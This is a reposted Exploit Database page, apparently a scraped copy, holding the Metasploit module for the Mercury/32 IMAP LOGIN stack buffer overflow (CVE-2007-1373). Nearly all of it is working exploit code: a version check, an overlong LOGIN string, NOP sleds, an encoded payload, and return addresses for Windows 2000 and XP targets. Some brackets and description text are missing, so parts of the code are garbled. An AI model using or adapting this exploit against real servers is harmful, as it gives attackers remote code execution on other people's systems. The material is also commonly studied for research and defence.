Mercury/32 Mail Server < 4.01b - LOGIN Buffer Overflow (Metasploit)

Exploit Database
132 阅读

作者： Metasploit

日期： 2010-06-22
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/16473/

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# $Id: mercury_login.rb 9583 2010-06-22 19:11:05Z todb $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = AverageRanking

include Msf::Exploit::Remote::Tcp

def initialize(info = {})

super(update_info(info,

'Name' => 'Mercury/32 <= 4.01b LOGIN Buffer Overflow',

'Description'=> %q{

This module exploits a stack buffer overflow in Mercury/32 <= 4.01b IMAPD

is corrupted, and code execution is possible. This vulnerability was

discovered by (mu-b at digit-labs.org).

'Author' => [ 'MC' ],

'License'=> MSF_LICENSE,

'Version'=> '$Revision: 9583 $',

'References' =>

[

[ 'CVE', '2007-1373' ],

[ 'OSVDB', '33883' ],

'Privileged' => true,

'DefaultOptions' =>

{

'EXITFUNC' => 'thread',

'Payload'=>

{

'Space'=> 800,

'BadChars' => "\x00\x0a\x0d\x20",

'StackAdjustment' => -3500,

'Platform' => 'win',

'Targets'=>

[

[ 'Windows 2000 SP0-SP4 English', { 'Ret' => 0x75022ac4 } ],

[ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],

'DisclosureDate' => 'Mar 6 2007',

'DefaultTarget'=> 0))

register_options(

[

Opt::RPORT(143)

], self.class)

end

def check

connect

resp = sock.get_once

disconnect

if (resp =~ /Mercury\/32 v4\.01[a-b]/)

return Exploit::CheckCode::Vulnerable

end

return Exploit::CheckCode::Safe

end

def exploit

connect

sock.get_once

num = rand(255).to_i

sploit = "A001 LOGIN " + (" " * 1008) + "{#{num}}\n"

sock.put(sploit)

sock.get_once

sploit << rand_text_alpha_upper(255)

sock.put(sploit)

sock.get_once

sploit << make_nops(5295 - payload.encoded.length)

sploit << payload.encoded + Rex::Arch::X86.jmp_short(6)

sploit << make_nops(2) + [target.ret].pack('V')

sploit << [0xe8, -1200].pack('CV') + rand_text_alpha_upper(750)

print_status("Trying target #{target.name}...")

sock.put(sploit)

select(nil,nil,nil,1)

handler

disconnect

end